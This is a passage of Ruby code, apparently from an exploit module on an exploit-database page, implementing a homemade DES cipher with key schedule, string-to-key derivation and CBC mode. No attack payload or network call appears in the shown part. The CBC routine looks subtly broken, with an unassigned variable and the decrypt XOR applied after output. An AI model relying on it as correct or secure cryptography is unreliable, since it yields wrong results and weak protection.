SBOXES[data_block_byte_ptr[3].ord + (counter << 6)] counter += 1 right ^= SBOXES[data_block_byte_ptr[3].ord + (counter << 6)] counter += 1 left ^= SBOXES[data_block_byte_ptr[4].ord + (counter << 6)] counter += 1 right ^= SBOXES[data_block_byte_ptr[4].ord + (counter << 6)] counter += 1 left ^= SBOXES[data_block_byte_ptr[5].ord + (counter << 6)] counter += 1 right ^= SBOXES[data_block_byte_ptr[5].ord + (counter << 6)] counter += 1 left ^= SBOXES[data_block_byte_ptr[6].ord + (counter << 6)] counter += 1 right ^= SBOXES[data_block_byte_ptr[6].ord + (counter << 6)] counter += 1 left ^= SBOXES[data_block_byte_ptr[7].ord + (counter << 6)] counter += 1 right ^= SBOXES[data_block_byte_ptr[7].ord + (counter << 6)] # Create return tuple ret_block = Array.new ret_block.push left ret_block.push right ret_block end def store(data_block) a1 = data_block.pack("V*") val = 8 * (16 * (16 * (16 * (16 * (16 * (16 * a1[7].ord | a1[6].ord) | a1[5].ord) | a1[4].ord) | a1[3].ord) | a1[2].ord) | a1[1].ord) | a1[0].ord >> 1 val & 0xffffffff end def sbox_xors(data_block_in, ksch_arg, decrypt_flag) decrypt_flag_cpy = decrypt_flag if (decrypt_flag & 0x100) != 0 data_block_0 = data_block_in else data_block_0 = rotate_block_init(data_block_in) end encrypt_flag = (decrypt_flag_cpy & 1) == 0 ti_block_0 = load(data_block_0[0]) ti_block_1 = load(data_block_0[1]) for i in 0..15 ti_cpy = ti_block_1 if encrypt_flag ti_block_1 = desx(ti_block_1, ksch_arg, i) else ti_block_1 = desx(ti_block_1, ksch_arg, 15 - i) end ti_block_1[0] ^= ti_block_0[0] ti_block_1[1] ^= ti_block_0[1] ti_block_0 = ti_cpy end data_block_0[0] = store(ti_block_1) data_block_0[1] = store(ti_block_0) if (!(decrypt_flag_cpy & 0x200) != 0) rotate_block_final(data_block_0) else data_block_0 end end def gen_key_unchecked(key) idx = 0 key_arr = key.unpack("V*") key_sch = Array.new for i in 0..15 idx += ROTATIONS[i].ord v6 = 0 v5 = 0 v14 = 0 for j in 0..47 pc2_p1 = (idx + PC2[j].ord) % 0x1C if PC2[j].ord > 0x1B pc2_p2 = 0x1c else pc2_p2 = 0 end v13 = PC1[pc2_p1 + pc2_p2].ord if v13 <= 31 v12 = 0 else v12 = 1 v13 -= 32 end if j <= 23 v10 = j else v14 = 1 v10 = j - 24 end v11 = 8 * (v10 / 6) + v10 % 6 key_and = key_arr[v12] & SBOX_BYTE_ORDER[v13] if (key_and != 0) if v14 == 1 v6 |= SBOX_BYTE_ORDER[v11] else v5 |= SBOX_BYTE_ORDER[v11] end end end key_sch.push v5 key_sch.push v6 end key_sch end def des_string_to_key(key_buf_str) des_keysch_0 = gen_key_unchecked(INIT_DES_KEY_0) des_keysch_1 = gen_key_unchecked(INIT_DES_KEY_1) temp_key1 = Array.new(8, 0) temp_key2 = Array.new(8, 0) key_buf_bytes = key_buf_str.unpack("c*") counter = 0 key_buf_str_len = key_buf_bytes.length - 1 for i in 0..key_buf_str_len counter %= 8 temp_key1[counter] |= key_buf_bytes[i] temp_key2[counter] |= key_buf_bytes[i] data_block = temp_key1.pack("c*").unpack("V*") temp_key1 = sbox_xors(data_block, des_keysch_0, 0) temp_key1 = temp_key1.pack("V*").unpack("c*") data_block = temp_key2.pack("c*").unpack("V*") temp_key2 = sbox_xors(data_block, des_keysch_1, 0) temp_key2 = temp_key2.pack("V*").unpack("c*") counter += 1 end # Prepare the return array ret_key = Array.new(8, 0) for j in 0..7 ret_key[j] = temp_key2[j] ^ temp_key1[j] end ret_key.pack("c*") end def des_cbc(input_buf, key_sch, iv, decrypt_flag) output_block_arr = Array.new blocks = input_buf.unpack("Q<*") for i in 0..blocks.length - 1 current_block = blocks[i] if decrypt_flag == 1 cur_block = current_block else current_block ^= iv end current_block_tuple = [current_block].pack("Q<").unpack("V*") output_block_tuple = sbox_xors(current_block_tuple, key_sch, decrypt_flag) output_block = output_block_tuple.pack("V*").unpack1("Q<") output_block_arr.push output_block if decrypt_flag == 1 output_block ^= iv iv = cur_block else iv = output_block end end output_block_arr.pack("Q<*") end def des_crypt_func(binary_buf, key_buf, decrypt_flag) des_key = des_string_to_key(key_buf) des_keysch = gen_key_unchecked(des_key) temp_enc_buf = Array.new(8 * ((binary_buf.length + 7) >> 3) + 8, 0) binary_buf_str = binary_buf.unpack('c*') for j in 0..binary_buf_str.length - 1 temp_enc_buf[j] = binary_buf_str[j] end temp_enc_buf = temp_enc_buf.pack('c*') output_buf = des_cbc(temp_enc_buf, des_keysch, 0, decrypt_flag) output_buf end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top